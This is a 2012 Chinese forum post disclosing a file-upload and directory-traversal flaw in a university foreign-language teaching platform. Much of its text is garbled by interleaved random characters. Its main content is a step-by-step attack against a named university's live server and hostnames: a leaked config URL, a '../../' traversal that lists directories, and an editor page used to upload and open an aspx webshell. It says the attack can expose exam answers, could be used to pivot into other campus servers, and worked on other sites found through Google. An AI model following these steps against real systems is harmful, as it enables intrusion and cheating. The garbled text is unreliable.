找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2015|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中  L' q! D# Q1 l# A* }6 M

, \% ^: R. P+ O8 G% L  ^详细说明:  e7 w; K: o% x. g- ~4 {
4 J& }5 k2 D, e7 }8 k9 L: @
以南开大学的为例:
" [+ [8 w- ]8 B, y2 U  k$ y' ahttp://222.30.60.3/NPELS
; }; V" a. y% F0 K: N$ rNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址* {; Q& ], K  u( F- b4 B. V
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
; y  |: z$ {( W, y& q<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
' m6 n6 R. I( v% |5 z( g</setting>5 Z* d  C" p) E
及版本号& }  Q! G1 k/ O
<add key="TVersion" value="1, 0, 0, 2187">" J' u7 R& X* q
</add>
& Z8 T4 e: h; n8 a$ q% o直接访问' ~& {4 T( f) j0 C6 J$ @6 l
http://222.30.60.3/NPELS/CommonService.asmx
# ?5 f9 s. M& P! i/ s' b3 c5 j使用GetTestClientFileList操作,直接 HTTP GET 列目录:
# U& t, Z% x4 i$ |& W# \http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 21872 [$ v  W; \2 [7 v5 n6 ?+ e
进一步列目录(返回的网页很大,可以直接 wget 下来)5 e/ i% J& N# |6 a
http://222.30.60.3/NPELS/CommonS ... List?version=../../, x7 U1 f' V6 h% S8 }

9 S$ M3 |0 l$ ?发现
6 H! O* U, L% e, t; jhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm5 G; {7 e! [/ h
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
% T- H3 G5 F/ x+ ^1 U  Q9 a4 x上传后继续列目录找到木马地址直接访问即可
) F  H! v4 l& O  |% v
  o, M6 P& D: b5 b, v. d: Y: JOOXX- N) o1 `2 R2 Q% T. C& C

2 {, `; R+ e! |" j7 J5 mGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法) G2 I; Q) T9 p" y; Q9 d4 [: x. y/ }5 L
漏洞证明:" S  X$ C( C6 k/ M( N# H0 }
. O7 c" M8 v6 X
列目录:3 f2 S/ \* s! C# ^! y% h" P
http://222.30.60.3/NPELS/CommonS ... List?version=../../
# K$ q9 v; z* p7 Q' G. ~: V文件上传:
3 J0 r: k# x( o3 c" y) }http://222.30.60.3/npelsv/editor/editor.htm* u# D/ A' \3 ]% m' `* D9 t

( t7 K+ ^$ T! I上传木马:  u( C2 p0 v: h7 q& f/ n* W
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx% D+ [4 i% S/ S% c! G5 h. b

( a' T) }( r+ b1 ^修复方案:& h5 f$ U$ O" ^
好像考试系统必须使用 CommonService.asmx
" t5 \$ f8 h& I1 z+ `/ D7 ?9 g最好配置文件加密或者用别的方式不让它泄露出来
) i5 f7 k: e0 o* J$ T" h% Z并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​! ^, e+ ?5 V2 x- X* @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表